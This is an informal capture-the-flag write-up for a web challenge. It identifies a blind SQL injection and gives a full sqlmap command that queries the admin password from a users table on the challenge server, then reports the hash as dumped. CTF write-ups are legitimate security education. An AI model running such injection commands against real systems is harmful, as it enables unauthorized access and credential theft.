In The Name Of GOD;)

hi my bro's;)

<span>It is very easy
Difference is that the web 150 is just the type of inject;)
blind</span> injection:P
use sqlmap for inject:)

<< sqlmap.py -u http://backdoor-problems.cognizance.org.in/web500/submit.php --data id=1 -p id --threads 10 --sql-query="select password from users where name='admin'" >>

hash of admin password dumped;)

good luck;)